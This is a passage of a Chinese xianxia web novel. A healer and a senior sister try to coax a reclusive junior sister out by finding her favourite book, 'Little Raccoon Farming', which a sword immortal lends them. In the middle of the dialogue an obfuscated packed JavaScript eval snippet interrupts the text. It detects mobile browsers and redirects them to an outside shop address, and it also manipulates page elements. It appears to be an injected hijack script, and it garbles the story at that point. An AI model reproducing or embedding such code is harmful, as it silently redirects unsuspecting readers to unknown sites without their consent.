南宫兰英举手敲敲门,道:“小师妹,你在吗?” 结果敲了半天,一点也没声。 白归鹤心想:这怎么和她的大师兄一个样? 但后来想想,又觉得不同。因为当时她去敲门时,祁宴回话了。 “小师妹?”南宫兰英也疑惑,“奇怪?怎么回事?” 白归鹤道:“也许她出去了?” “不太可能,”南宫兰英持否定态度,讲起了覃文杰的过去,“我那小师妹自从患了病后,半月都不一定出一次门。平时练剑打坐都是在卧房里的,怎么可能会出去啊?” 说着,南宫兰英就趴到门前,又喊道: “小师妹,给师姐开开门吧?” 她道:“师尊已经请来了玄天宗的圣女为你治疗,大师兄的郁症就是她治好的。让她进来看看你吧!” “……” 屋内还是无声。 既然排除了人不会不在,那这就是故意装死不说话。 “如果真是这样,就有点难办了啊……”白归鹤一手抵着下巴,心想:这小师妹看来非常抗拒与人交流,就算来的人是自己师姐也非常抗拒。初步判断病的比祁宴严重。祁宴好歹还会配合。 可一直这样也不是个办法,白归鹤总不能一直站在门前跟她耗着。 要不,直接破门而入? 这个念头刚浮现,白归鹤就立马否定了。 不行不行,这样做说不定会吓到病人,可能还会起到反效果。她是来治疗病人的,不是来加重病情的。 可不这样又似乎没有办法…… 就在白归鹤内心天人交战之际,门突然开了一条缝。 南宫兰英一喜:“小师妹?” 5. 小师妹2 眼见门终于开了条缝,南宫兰英还以为是小师妹愿意见她了。 正当她要声情并茂地喊“小师妹你果然还爱我”时,一道怯懦的女声从门缝里传出。 “对、对不起、师姐,我现在不想见人,你们还是回去吧!” 说完,门就“呯”的一声,迅速的关掉了。 南宫兰英:“……” 白归鹤:“……” 好嘛,空欢喜一场。 南宫兰英(流泪猫猫头):“小师妹……” 就这么不愿意见她吗? 白归鹤伸手拍了拍南宫兰英的肩膀,安慰道:“别难过。我看她不是不想见你,只是不知道该如何面对你的热情。” 毕竟你们俩个明显一个e人,一个i人,能合得来就怪了。 白归鹤还能想象到这俩以前的相处日常。热脸贴冷屁股吧。 “话说你小师妹有喜欢的东西吗?”白归鹤想了片刻,决定先从爱好上下手,“也许我们可以先从她喜欢的东西上下手,再慢慢接近她,让她对我们放下防备。这样我也好展开治疗,诊断她到底是什么病。” “好主意!”闻言,南宫兰英立马收了眼泪,速度之快犹如川剧变脸,“师妹喜欢的东西,让我想想……” “以前小师妹喜欢什么……” “有了!”南宫兰英灵光一闪,“话本子!我记得小师妹喜欢看话本子!” “以前我时常看见她捧着话本子看,一看就是好久。” 噢噢原来覃文杰是小说妹。白归鹤问道:“那话本子叫什么名字你还记得吗?” 说到这个,南宫兰英就面露难色:“呃,有点记不清了。已经是好久之前的事了,对不起!” 刚有点好苗头就又被掐灭。但白归鹤并不会因此放弃:“你再回想一下,哪怕只有一些细节也行。” 大不了就靠着一点细节一本本翻,反正她有的是时间。 白归鹤想了想,又问:“比如,这话本有没有什么比较鲜明的特点?” “鲜明的特点?”南宫兰英一手托腮,陷入回忆:“让我想想,好像……还真有!书名是个动物来着。叫什么浣熊种田?” 浣熊?种田?小师妹口味还挺独特。 白归鹤道:“那走吧。” 南宫兰英还在状况外:“干什么?” “还能干什么?去找书啊,”白归鹤已经走出去了一段距离,她回头看着南宫兰英,道,“浣熊种田这名字挺特殊的,咱们就专找有这四个字的,我不信找不到。” “有道理诶,”南宫兰英恍然大悟,然后赶忙追上白归鹤,“圣女等等我,我也来帮你!” - 话是那么说,可真要找起来,还是有一定难度的。 凡界。万书集市。 在找了三天、和问了三十家小书摊有没有关于浣熊种田的小说结果被否决后,白归鹤才惊觉,在这诺大的书场里找一本浣熊种田的书,堪比海底捞针。 不过她和南宫兰英是分头行动的,她找不到,也许南宫兰英能找到呢? …… 片刻后,白归鹤决定撤回方才的想法。 无它,于一个小书摊,她和南宫兰英碰面了。 二人视线相撞。 在看清南宫兰英手上拿着什么东西后,白归鹤一脸无语。果然不应该抱有期待。 “……要找的书还没找到,其他杂七杂八的书倒是买了不少。”她看着南宫兰英捧着各色的小本子却没有一个和动物有关,一时有些哭笑不得。 南宫兰英不好意思一笑:“对不起嘛,都怪这些话本写的太精彩了!我想小师妹也许也会喜欢看,所以就买了一点。” 嗯对,就买了一“点”。 白归鹤有些无奈道:“算了。我们再找找吧。” 又聊了一会,她们才分头行动。 南宫兰英迈着欢快的步子,走向了与白归鹤截然不同的方向。 白归鹤则打起精神,动身前往下一家书摊。 路上,她的口袋震了一下。 白归鹤拿出来一看,发现是通迅灵板在震动。 通迅灵板,亦如其名,即使相隔千里,也能相互传信息、发图片。与现代手机相比,有过之而无不及。 白归鹤看了看通迅灵板,发现是闻怀景发的消息。 自她离开玄天宗后,闻怀景每日都会在灵板上发玄天宗的近况。不过,大多都是日常琐事。 这次,闻怀景给她拍了一张小奶猫的图片。毛是白色的,瞳孔青绿,圆嘟嘟的小脸,活像个小糯米团子。 白归鹤扫了几眼就被小猫软萌的外貌给征服了,在通迅灵板上写:好可爱的小猫,哪来的? 闻怀景:今日晨时,吾巡守山门时遇到的。四周并无同伴。 落单了吗? 白归鹤心里不禁泛起涟漪:没有同伴?这么小一只,父母不在身边,这怎么活下去啊? 而且就闻怀景拍的那样子,这猫咪大小跟团子差不多,恐怕连奶都还没断吧! 白归鹤有点于心不忍:仙君,你可以先暂时替我收留它吗? 白归鹤:这小猫豆丁点大,还没父母在身边太可怜了……你放心,从铃音阁回来后我就会接手! 闻怀景回:嗯,吾会暂养。 白归鹤:谢谢啦! 闻怀景:你那边进展如何? 说到进展,白归鹤叹了口气,回:一无所获。 她忍不住向闻怀景吐槽:这次我要治愈的患者,拒绝与任何人接触,就算是她自己师姐也不行。为了进展顺利,我就打算先从患者的爱好入手,向她的师姐打听她喜欢的事物。在知道她喜欢看的话本子后,我和她师姐就去万书集市找,结果在各大摊位找半天,愣是影子都没看到。 白归鹤:我真不中了,求老天怜悯。 一口气写完这么长串话,心里顺畅多了。 约莫十几秒后,闻怀景才回:什么书? 白归鹤随意写:什么浣熊种田,名字挺有意思的,但是找不到。 这一条发出去,闻怀景就好长时间没回话。 见他没回,白归鹤也就放下通讯灵板,全身心投入进找书的事。 过了好一会儿,灵板才振动。 白归鹤抽空拿起来一看。她本想随便回几句,却不料等字映入眼帘,她立刻傻眼了。 闻怀景回复:有幸读过。全名是《小浣熊种田传》。 ?! 啊? 闻怀景竟然读过?!这可真是意外之喜! 通迅灵板上闻怀景还在接着发:年少时看过。已经是多年以前的书了。 白归鹤写字的手都有点颤抖:那仙君知道哪里还有卖吗? 闻怀景“大气”回复:不必买,吾有,你若需要,吾可赠于你。 好好好这下连钱都不用花了! 白归鹤感激涕零:仙君,你帮了我一个大忙!简直是我的救星! - 一刻钟后,铃音阁山脚下。 两道倩影迎风而行。正是南宫兰英和白归鹤。 一刻钟前,在得知闻怀景有那本书后,白归鹤就找到南宫兰英与她回到铃音阁了。路上,白归鹤也顺便向她简述了一切。 了解完,南宫兰英点了点头,关注点却不在书上,而是:“剑仙原来还会看话本子啊?” 她啧啧称奇:“怪也!剑仙难道不应该像教书先生说的那样,高冷无情、不食五谷、不看俗物吗?” 白归鹤摇摇头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716329|189328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “拒绝刻板印象哦,剑仙也是人!”而且不食五谷那还是人吗? “言之有理,”南宫兰英故作严肃,“是我肤浅了。” 白归鹤轻笑一声,打趣道:“你哪里肤浅了,这不挺——”突然,她一顿,好似看到了什么,抬眸看向远方。 “啊,来了!”定睛一看,白归鹤发现一个酷似长方体的东西,正以肉眼可见的速度向她飞驰而来! 不出意外,那应该就是闻怀景“送”来的书了。 为了节省时间,白归鹤与闻怀景商量完,就决定把那本书用传送符送过来。当然,符纸定位的白归鹤。 看着那急速飞行的物体,白归鹤不由心想:这不就是修真版的“快递”? “快递”飞到白归鹤身前。 金黄色的符纸包裹着书本,散发着白色光芒。白归鹤拿过撕开符纸一看,发现符纸撕开后,居然还有一层白油纸包裹着书,缎带绕着书捆了几圈,系着蝴蝶结。 南宫兰英直呼:“精致!” 感受到闻怀景的在意,白归鹤小心翼翼的解开缎带、拆开油纸,随后映入眼帘的就是山水墨画绘成封面。闻怀景把这书保养的不错,瞧着竟跟全新的差不多。 白归鹤道:“走吧,书既然到了,就快点回去看吧。我应该一天就能看完了。” 毕竟以前上高中时,她看小说可都是一目十行。区区《小浣熊种田传》,只有一本而已,根本不在话下。 然而,白归鹤对自己还是太自信了点,她忘了自己已经不是血气方刚的高中生了。 三天后,白归鹤顶着乌青的眼,走在前往覃文杰舍房的小道上。 她花了三天才看完那本《小浣熊种田传》。除去吃饭睡觉休息的时间,她几乎所有时间都在看这本书。 不得不说这本书字数是真的长,虽然是只有一本,可厚度不输两块砖头。 “天啊!圣女你这眼睛……”小道上,南宫兰英与白归鹤再次碰面,却被她乌青的眼袋吓的一激灵。 南宫兰英睁大双眼,不解道:“圣女,我知你为了了解我小师妹的爱好而心急,可你也不必为了融入书,扮作浣熊啊!” 白归鹤:“……” 无语。 给爷爬。 小插曲过后,她们走到了覃文杰舍房门口。 爬山虎仍旧翠绿,枝繁叶茂。 依旧是南宫兰英这个做师姐的先敲门:“小师妹~我们今天来找你玩了!” 稍等片刻,门内才传来声音。 那声音道:“师姐,你、你怎么又来了?” 那声音委婉道:“师姐,最近可以别、别来找我了吗?我真的不太……” 眼见又要拒,南宫兰英连忙插嘴:“哎呀先别急着拒绝!小师妹——” 她直奔主题:“我们带了你最喜欢看的话本子!” “《小浣熊种田传》!这几天师姐我和圣女大人都在看。你不是最喜欢这话本子吗?要一起交流交流吗?” 说完,门内突然陷入寂静。 片刻后,小师妹才回答:“什、什么?”听起来好像有点不可置信。 眼见还有戏,南宫兰英顺着她的话道:“就是你以前常看的《小浣熊种田传》啊!没想到吧,师姐也去看了!而且还是和圣女大人一起!” 岂料说完这句话后,门内就彻底没声音了。 南宫兰英疑惑不解,又拍了拍门:“小师妹?小师妹?” “奇怪,怎么没声了?” 待她还要再说什么,“呯”,一阵突兀的开门声打断了她接下来的话。 南宫兰英先是微微一怔,随后才意识到这是小师妹做的。是她开门了。 南宫兰英现在是又惊又喜:“小师妹你开门了!”